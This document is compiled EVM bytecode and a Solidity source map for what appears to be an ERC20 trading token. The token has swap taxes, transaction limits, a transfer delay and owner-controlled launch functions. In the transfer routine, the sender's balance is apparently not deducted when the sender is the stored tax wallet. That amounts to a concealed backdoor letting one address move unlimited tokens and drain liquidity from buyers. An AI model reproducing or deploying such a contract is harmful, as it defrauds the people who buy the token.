06044016020604051808303815f875af1158015610617573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063b9190611896565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461067e5760405162461bcd60e51b815260040161049090611836565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106ef5760405162461bcd60e51b815260040161049090611836565b6106fb6009600a611811565b61070990633b9aca0061181f565b600f556107186009600a611811565b61072690633b9aca0061181f565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107606009600a611811565b61076e90633b9aca0061181f565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107aa5760405162461bcd60e51b815260040161049090611836565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107f39030906107e56009600a611811565b61045890633b9aca0061181f565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610843573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086791906118b5565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ea91906118b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610934573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095891906118b5565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146109a35760405162461bcd60e51b815260040161049090611836565b6109ac4761103c565b565b5f6103d6338484610ade565b6001600160a01b038316610a1c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b038216610a7d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b5f8111610c055760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610490565b601454600160b01b900460ff161580610c275750601454600160a81b900460ff165b15610cd1576001600160a01b0383165f90815260016020526040902054610c4f9082906118d0565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c7e9082906118e3565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ad19085815260200190565b5f546001600160a01b03848116911614801590610cfb57505f546001600160a01b03838116911614155b15610ff45760065460ff1615610de3576013546001600160a01b03838116911614801590610d3757506014546001600160a01b03838116911614155b15610de357325f908152600560205260409020544311610dd15760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610490565b325f9081526005602052604090204390555b6014546001600160a01b038481169116148015610e0e57506013546001600160a01b03838116911614155b8015610e3257506001600160a01b0382165f9081526003602052604090205460ff16155b15610f1857600f54811115610e895760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610490565b60105481610eab846001600160a01b03165f9081526001602052604090205490565b610eb591906118e3565b1115610f035760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610490565b600e8054905f610f12836118f6565b91905055505b305f90815260016020526040902054601454600160a81b900460ff16158015610f4e57506014546001600160a01b038481169116145b8015610f635750601454600160b01b900460ff165b8015610f725750600d54600e54115b8015610f9657506001600160a01b0384165f9081526003602052604090205460ff16155b8015610fba57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ff257601154811115610fe657610fe6610fe183610fdc8460125461107b565b61107b565b611092565b47610ff04761103c565b505b505b610fff838383611202565b505050565b5f81848411156110275760405162461bcd60e51b81526004016104909190611614565b505f61103384866118d0565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015611077573d5f5f3e3d5ffd5b5050565b5f818311611089578261108b565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110d8576110d861190e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112f573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061115391906118b5565b816001815181106111665761116661190e565b6001600160a01b03928316602091820292909201015260135461118c91309116846109ba565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c49085905f90869030904290600401611922565b5f604051808303815f87803b1580156111db575f5ffd5b505af11580156111ed573d5f5f3e3d5ffd5b50506014805460ff60a81b1916905550505050565b61120a6115f6565b6001600160a01b03808516825283166020820152600b54600e545f9161124f91606491611249911161123e57600754611242565b6009545b869061146c565b906114ea565b6014549091506001600160a01b03858116911614801561127857506001600160a01b0385163014155b156112a5576112a26064611249600c54600e541161129857600854611242565b600a54869061146c565b90505b801561131d57305f908152600160205260409020546112c4908261152b565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113149085815260200190565b60405180910390a35b5f5b600281101561146457805f036113b35760065461010090046001600160a01b03168382600281106113525761135261190e565b60200201516001600160a01b0316146113b3578360015f85846002811061137b5761137b61190e565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f205f8282546113ad91906118d0565b90915550505b8060010361145c576113c58483611589565b60015f8584600281106113da576113da61190e565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f205f82825461140c91906118e3565b90915550506001600160a01b038086169087167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61144a8786611589565b60405190815260200160405180910390a35b60010161131f565b505050505050565b5f825f0361147b57505f6103da565b5f611486838561181f565b9050826114938583611992565b1461108b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610490565b5f61108b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115ca565b5f8061153783856118e3565b90508381101561108b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610490565b5f61108b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611004565b5f81836115ea5760405162461bcd60e51b81526004016104909190611614565b505f6110338486611992565b60405180604001604052806002906020820280368337509192915050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461165d575f5ffd5b50565b5f5f60408385031215611671575f5ffd5b823561167c81611649565b946020939093013593505050565b5f5f5f6060848603121561169c575f5ffd5b83356116a781611649565b925060208401356116b781611649565b929592945050506040919091013590565b5f602082840312156116d8575f5ffd5b813561108b81611649565b5f5f604083850312156116f4575f5ffd5b82356116ff81611649565b9150602083013561170f81611649565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156117695780850481111561174d5761174d61171a565b600184161561175b57908102905b60019390931c928002611732565b935093915050565b5f8261177f575060016103da565b8161178b57505f6103da565b81600181146117a157600281146117ab576117c7565b60019150506103da565b60ff8411156117bc576117bc61171a565b50506001821b6103da565b5060208310610133831016604e8410600b84101617156117ea575081810a6103da565b6117f65f19848461172e565b805f19048211156118095761180961171a565b029392505050565b5f61108b60ff841683611771565b80820281158282048414176103da576103da61171a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f6060848603121561187d575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156118a6575f5ffd5b8151801515811461108b575f5ffd5b5f602082840312156118c5575f5ffd5b815161108b81611649565b818103818111156103da576103da61171a565b808201808211156103da576103da61171a565b5f600182016119075761190761171a565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119725783516001600160a01b031683526020938401939092019160010161194b565b50506001600160a01b039590951660608401525050608001529392505050565b5f826119ac57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec5d3e25edd9b038f02894c8608a5ae6a47501f350eea0a23a6c5118760baff564736f6c634300081b0033

3830:9547:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6227:83;;;;;;;;;;-1:-1:-1;6297:5:0;;;;;;;;;;;;;;;;;6227:83;;;;;;;:::i;:::-;;;;;;;;7562:186;;;;;;;;;;-1:-1:-1;7562:186:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;7562:186:0;945:187:1;5073:55:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;5073:55:0;1137:177:1;6504:95:0;;;;;;;;;;;;;:::i;7108:446::-;;;;;;;;;;-1:-1:-1;7108:446:0;;;;;:::i;:::-;;:::i;12880:494::-;;;;;;;;;;;;;:::i;:::-;;6413:83;;;;;;;;;;-1:-1:-1;6413:83:0;;4672:1;1974:36:1;;1962:2;1947:18;6413:83:0;1832:184:1;6607:117:0;;;;;;;;;;-1:-1:-1;6607:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6700:16:0;6673:7;6700:16;;;:7;:16;;;;;;;6607:117;855:148;;;;;;;;;;;;;:::i;12352:201::-;;;;;;;;;;;;;:::i;4882:56::-;;;;;;;;;;;;;;;;641:79;;;;;;;;;;-1:-1:-1;679:7:0;706:6;641:79;;-1:-1:-1;;;;;706:6:0;;;2419:51:1;;2407:2;2392:18;641:79:0;2273:203:1;4945:58:0;;;;;;;;;;;;;;;;6318:87;;;;;;;;;;-1:-1:-1;6390:7:0;;;;;;;;;;;;-1:-1:-1;;;6390:7:0;;;;6318:87;;5828:391;;;;;;;;;;;;;:::i;12661:96::-;;;;;;;;;;;;;:::i;6732:192::-;;;;;;;;;;-1:-1:-1;6732:192:0;;;;;:::i;:::-;;:::i;5010:56::-;;;;;;;;;;;;;;;;4212:40;;;;;;;;;;-1:-1:-1;4212:40:0;;;;;;;;6932:168;;;;;;;;;;-1:-1:-1;6932:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7065:18:0;;;7038:7;7065:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6932:168;7562:186;7662:4;7679:39;274:10;7702:7;7711:6;7679:8;:39::i;:::-;-1:-1:-1;7736:4:0;7562:186;;;;;:::o;6504:95::-;6557:7;4728:15;4672:1;4728:2;:15;:::i;:::-;4715:28;;:10;:28;:::i;:::-;6577:14;;6504:95;:::o;7108:446::-;7240:4;7257:36;7267:6;7275:9;7286:6;7257:9;:36::i;:::-;7304:220;7327:6;274:10;7375:138;7431:6;7375:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7375:19:0;;;;;;:11;:19;;;;;;;;274:10;7375:33;;;;;;;;;;:37;:138::i;:::-;7304:8;:220::i;:::-;-1:-1:-1;7542:4:0;7108:446;;;;;:::o;12880:494::-;768:6;;-1:-1:-1;;;;;768:6:0;274:10;768:22;760:67;;;;-1:-1:-1;;;760:67:0;;;;;;;:::i;:::-;;;;;;;;;12943:11:::1;::::0;-1:-1:-1;;;12943:11:0;::::1;;;12942:12;12934:48;;;::::0;-1:-1:-1;;;12934:48:0;;5174:2:1;12934:48:0::1;::::0;::::1;5156:21:1::0;5213:2;5193:18;;;5186:30;5252:25;5232:18;;;5225:53;5295:18;;12934:48:0::1;4972:347:1::0;12934:48:0::1;13003:15;::::0;-1:-1:-1;;;;;13003:15:0::1;:31;13042:21;13087:4;13107:24;13087:4:::0;-1:-1:-1;;;;;6700:16:0;6673:7;6700:16;;;:7;:16;;;;;;;6607:117;13107:24:::1;13146:1;13162;13178:7;679::::0;706:6;-1:-1:-1;;;;;706:6:0;;641:79;13178:7:::1;13003:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13003:223:0;;;-1:-1:-1;;;;;5645:32:1;;;13003:223:0::1;::::0;::::1;5627:51:1::0;5694:18;;;5687:34;;;;5737:18;;;5730:34;;;;5780:18;;;5773:34;5844:32;;;5823:19;;;5816:61;13200:15:0::1;5893:19:1::0;;;5886:35;5599:19;;13003:223:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13244:13:0::1;::::0;13275:15:::1;::::0;13237:71:::1;::::0;-1:-1:-1;;;13237:71:0;;-1:-1:-1;;;;;13275:15:0;;::::1;13237:71;::::0;::::1;6567:51:1::0;-1:-1:-1;;6634:18:1;;;6627:34;13244:13:0;::::1;::::0;-1:-1:-1;13237:29:0::1;::::0;6540:18:1;;13237:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13319:11:0::1;:18:::0;;-1:-1:-1;;;;13348:18:0;-1:-1:-1;;;13348:18:0;;;12880:494::o;855:148::-;768:6;;-1:-1:-1;;;;;768:6:0;274:10;768:22;760:67;;;;-1:-1:-1;;;760:67:0;;;;;;;:::i;:::-;962:1:::1;946:6:::0;;925:40:::1;::::0;-1:-1:-1;;;;;946:6:0;;::::1;::::0;925:40:::1;::::0;962:1;;925:40:::1;993:1;976:19:::0;;-1:-1:-1;;;;;;976:19:0::1;::::0;;855:148::o;12352:201::-;768:6;;-1:-1:-1;;;;;768:6:0;274:10;768:22;760:67;;;;-1:-1:-1;;;760:67:0;;;;;;;:::i;:::-;4728:15:::1;4672:1;4728:2;:15;:::i;:::-;4715:28;::::0;:10:::1;:28;:::i;:::-;12406:12;:22:::0;4728:15:::1;4672:1;4728:2;:15;:::i;:::-;4715:28;::::0;:10:::1;:28;:::i;:::-;12439:14;:24:::0;12474:20:::1;:28:::0;;-1:-1:-1;;12474:28:0::1;::::0;;12518:27:::1;4728:15;4672:1;-1:-1:-1::0;4728:15:0::1;:::i;:::-;4715:28;::::0;:10:::1;:28;:::i;:::-;12518:27;::::0;1283:25:1;;;1271:2;1256:18;12518:27:0::1;;;;;;;12352:201::o:0;5828:391::-;768:6;;-1:-1:-1;;;;;768:6:0;274:10;768:22;760:67;;;;-1:-1:-1;;;760:67:0;;;;;;;:::i;:::-;5880:15:::1;:104:::0;;-1:-1:-1;;;;;;5880:104:0::1;5931:42;5880:104:::0;;::::1;::::0;;;5995:58:::1;::::0;6012:4:::1;::::0;4728:15:::1;4672:1;4728:2;:15;:::i;:::-;4715:28;::::0;:10:::1;:28;:::i;5995:58::-;6098:15;;;;;;;;;-1:-1:-1::0;;;;;6098:15:0::1;-1:-1:-1::0;;;;;6098:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6080:55:0::1;;6158:4;6178:15;;;;;;;;;-1:-1:-1::0;;;;;6178:15:0::1;-1:-1:-1::0;;;;;6178:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6080:131;::::0;-1:-1:-1;;;;;;6080:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7402:32:1;;;6080:131:0::1;::::0;::::1;7384:51:1::0;7471:32;;7451:18;;;7444:60;7357:18;;6080:131:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6064:13;:147:::0;;-1:-1:-1;;;;;;6064:147:0::1;-1:-1:-1::0;;;;;6064:147:0;;;::::1;::::0;;;::::1;::::0;;5828:391::o;12661:96::-;768:6;;-1:-1:-1;;;;;768:6:0;274:10;768:22;760:67;;;;-1:-1:-1;;;760:67:0;;;;;;;:::i;:::-;12714:35:::1;12727:21;12714:12;:35::i;:::-;12661:96::o:0;6732:192::-;6835:4;6852:42;274:10;6876:9;6887:6;6852:9;:42::i;7756:335::-;-1:-1:-1;;;;;7849:19:0;;7841:68;;;;-1:-1:-1;;;7841:68:0;;7717:2:1;7841:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;7841:68:0;7515:400:1;7841:68:0;-1:-1:-1;;;;;7928:21:0;;7920:68;;;;-1:-1:-1;;;7920:68:0;;8122:2:1;7920:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;7920:68:0;:398:1;:68:0;-1:-1:-1;;;;;7999:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8051:32;;1283:25:1;;;8051:32:0;;1256:18:1;8051:32:0;;;;;;;;7756:335;;;:::o;8099:2427::-;-1:-1:-1;;;;;8187:18:0;;8179:68;;;;-1:-1:-1;;;8179:68:0;;8525:2:1;8179:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;8179:68:0;8323:401:1;8179:68:0;-1:-1:-1;;;;;8266:16:0;;8258:64;;;;-1:-1:-1;;;8258:64:0;;8931:2:1;8258:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;8258:64:0;8729:399:1;8258:64:0;8350:1;8341:6;:10;8333:64;;;;-1:-1:-1;;;8333:64:0;;9335:2:1;8333:64:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;8333:64:0;9133:405:1;8333:64:0;8423:11;;-1:-1:-1;;;8423:11:0;;;;8422:12;;:22;;-1:-1:-1;8438:6:0;;-1:-1:-1;;;8438:6:0;;;;8422:22;8418:209;;;-1:-1:-1;;;;;8477:13:0;;;;;;:7;:13;;;;;;:22;;8493:6;;8477:22;:::i;:::-;-1:-1:-1;;;;;8461:13:0;;;;;;;:7;:13;;;;;;:38;;;;8528:11;;;;;;;:20;;8542:6;;8528:20;:::i;:::-;-1:-1:-1;;;;;8514:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8568:26;;;;;;;;;;8587:6;1283:25:1;;1271:2;1256:18;;1137:177;8418:209:0;679:7;706:6;-1:-1:-1;;;;;8643:15:0;;;706:6;;8643:15;;;;:32;;-1:-1:-1;679:7:0;706:6;-1:-1:-1;;;;;8662:13:0;;;706:6;;8662:13;;8643:32;8639:1835;;;8696:20;;;;8692:522;;;8777:15;;-1:-1:-1;;;;;8763:30:0;;;8777:15;;8763:30;;;;:83;;-1:-1:-1;8832:13:0;;-1:-1:-1;;;;;8818:28:0;;;8832:13;;8818:28;;8763:83;8737:462;;;8952:9;8923:39;;;;:28;:39;;;;;;8965:12;-1:-1:-1;8889:213:0;;;;-1:-1:-1;;;8889:213:0;;10008:2:1;8889:213:0;;;9990:21:1;10047:2;10027:18;;;10020:30;10086:34;10066:18;;;10059:62;10157:34;10137:18;;;10130:62;-1:-1:-1;;;10208:19:1;;;10201:40;10258:19;;8889:213:0;9806:477:1;8889:213:0;9154:9;9125:39;;;;:28;:39;;;;;9167:12;9125:54;;8737:462;9260:13;;-1:-1:-1;;;;;9252:21:0;;;9260:13;;9252:21;:72;;;;-1:-1:-1;9308:15:0;;-1:-1:-1;;;;;9294:30:0;;;9308:15;;9294:30;;9252:72;:116;;;;-1:-1:-1;;;;;;9346:22:0;;;;;;:18;:22;;;;;;;;9345:23;9252:116;9230:438;;;9421:12;;9411:6;:22;;9403:60;;;;-1:-1:-1;;;9403:60:0;;10490:2:1;9403:60:0;;;10472:21:1;10529:2;10509:18;;;10502:30;10568:27;10548:18;;;10541:55;10613:18;;9403:60:0;10288:349:1;9403:60:0;9538:14;;9528:6;9512:13;9522:2;-1:-1:-1;;;;;6700:16:0;6673:7;6700:16;;;:7;:16;;;;;;;6607:117;9512:13;:22;;;;:::i;:::-;:40;;9482:140;;;;-1:-1:-1;;;9482:140:0;;10844:2:1;9482:140:0;;;10826:21:1;10883:2;10863:18;;;10856:30;10922:28;10902:18;;;10895:56;10968:18;;9482:140:0;10642:350:1;9482:140:0;9641:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9230:438;9733:4;9684:28;6700:16;;;:7;:16;;;;;;9777:6;;-1:-1:-1;;;9777:6:0;;;;9776:7;:47;;;;-1:-1:-1;9810:13:0;;-1:-1:-1;;;;;9804:19:0;;;9810:13;;9804:19;9776:47;:79;;;;-1:-1:-1;9844:11:0;;-1:-1:-1;;;9844:11:0;;;;9776:79;:130;;;;;9888:18;;9876:9;;:30;9776:130;:176;;;;-1:-1:-1;;;;;;9928:24:0;;;;;;:18;:24;;;;;;;;9927:25;9776:176;:220;;;;-1:-1:-1;;;;;;9974:22:0;;;;;;:18;:22;;;;;;;;9973:23;9776:220;9754:709;;;10057:17;;10034:20;:40;10031:205;;;10099:117;10142:51;10146:6;10154:38;10158:20;10180:11;;10154:3;:38::i;:::-;10142:3;:51::i;:::-;10099:16;:117::i;:::-;10301:21;10393:35;10406:21;10393:12;:35::i;:::-;10012:451;9754:709;8677:1797;8639:1835;10486:32;10501:4;10507:2;10511:6;10486:14;:32::i;:::-;8099:2427;;;:::o;2160:224::-;2280:7;2316:12;2308:6;;;;2300:29;;;;-1:-1:-1;;;2300:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2340:9:0;2352:5;2356:1;2352;:5;:::i;:::-;2340:17;2160:224;-1:-1:-1;;;;;2160:224:0:o;12561:92::-;12618:10;;:27;;:10;;;;-1:-1:-1;;;;;12618:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12561:92;:::o;12765:107::-;12822:7;12854:1;12850;:5;12849:15;;12863:1;12849:15;;;12859:1;12849:15;12842:22;12765:107;-1:-1:-1;;;12765:107:0:o;11824:483::-;5412:6;:13;;-1:-1:-1;;;;5412:13:0;-1:-1:-1;;;5412:13:0;;;11926:16:::1;::::0;;11940:1:::1;11926:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11926:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11926:16:0::1;11902:40;;11971:4;11953;11958:1;11953:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11953:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11997:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11997:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11953:7;;11997:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11987:4;11992:1;11987:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11987:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12062:15:::1;::::0;12030:62:::1;::::0;12047:4:::1;::::0;12062:15:::1;12080:11:::0;12030:8:::1;:62::i;:::-;12103:15;::::0;:196:::1;::::0;-1:-1:-1;;;12103:196:0;;-1:-1:-1;;;;;12103:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12184:11;;12103:15:::1;::::0;12226:4;;12253::::1;::::0;12273:15:::1;::::0;12103:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5448:6:0;:14;;-1:-1:-1;;;;5448:14:0;;;-1:-1:-1;;;;11824:483:0:o;10534:1282::-;10627:27;;:::i;:::-;-1:-1:-1;;;;;10665:21:0;;;;;10697:22;;10665:12;10697;;:22;10793:15;;10781:9;;10675:1;;10745:160;;10901:3;;10745:141;;10781:27;10780:95;;10861:14;;10780:95;;;10829:12;;10780:95;10745:6;;:20;:141::i;:::-;:155;;:160::i;:::-;10931:13;;10730:175;;-1:-1:-1;;;;;;10920:24:0;;;10931:13;;10920:24;:51;;;;-1:-1:-1;;;;;;10948:23:0;;10966:4;10948:23;;10920:51;10916:302;;;10995:211;11202:3;10995:184;11059:16;;11047:9;;:28;11046:114;;11145:15;;11046:114;;;11104:13;;10995:6;;:28;:184::i;:211::-;10988:218;;10916:302;11232:8;;11228:187;;11298:4;11282:22;;;;:7;:22;;;;;;:64;;11327:4;11282:26;:64::i;:::-;11273:4;11257:22;;;;:7;:22;;;;;;;:89;;;;11366:37;;-1:-1:-1;;;;;11366:37:0;;;;;;;11398:4;1283:25:1;;1271:2;1256:18;;1137:177;11366:37:0;;;;;;;;11228:187;11429:6;11425:384;11445:16;11441:1;:20;11425:384;;;11487:1;11492;11487:6;11484:146;;11530:10;;;;;-1:-1:-1;;;;;11530:10:0;11516:9;11526:1;11516:12;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;11516:24:0;;11513:102;;11589:6;11564:7;:21;11572:9;11582:1;11572:12;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;11564:21:0;-1:-1:-1;;;;;11564:21:0;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;-1:-1:-1;;11513:102:0;11647:1;11652;11647:6;11644:154;;11698:16;:6;11709:4;11698:10;:16::i;:::-;11673:7;:21;11681:9;11691:1;11681:12;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;11673:21:0;-1:-1:-1;;;;;11673:21:0;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;11739:43:0;;;;;;;11765:16;:6;11776:4;11765:10;:16::i;:::-;11739:43;;1283:25:1;;;1271:2;1256:18;11739:43:0;;;;;;;11644:154;11463:3;;11425:384;;;;10616:1200;;10534:1282;;;:::o;2392:246::-;2450:7;2474:1;2479;2474:6;2470:47;;-1:-1:-1;2504:1:0;2497:8;;2470:47;2527:9;2539:5;2543:1;2539;:5;:::i;:::-;2527:17;-1:-1:-1;2572:1:0;2563:5;2567:1;2527:17;2563:5;:::i;:::-;:10;2555:56;;;;-1:-1:-1;;;2555:56:0;;12789:2:1;2555:56:0;;;12771:21:1;12828:2;12808:18;;;12801:30;12867:34;12847:18;;;12840:62;-1:-1:-1;;;12918:18:1;;;12911:31;12959:19;;2555:56:0;12587:397:1;2646:132:0;2704:7;2731:39;2735:1;2738;2731:39;;;;;;;;;;;;;;;;;:3;:39::i;1829:179::-;1887:7;;1919:5;1923:1;1919;:5;:::i;:::-;1907:17;;1948:1;1943;:6;;1935:46;;;;-1:-1:-1;;;1935:46:0;;13191:2:1;1935:46:0;;;13173:21:1;13230:2;13210:18;;;13203:30;13269:29;13249:18;;;13242:57;13316:18;;1935:46:0;12989:351:1;2016:136:0;2074:7;2101:43;2105:1;2108;2101:43;;;;;;;;;;;;;;;;;:3;:43::i;2786:223::-;2906:7;2941:12;2934:5;2926:28;;;;-1:-1:-1;;;2926:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2965:9:0;2977:5;2981:1;2977;:5;:::i;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;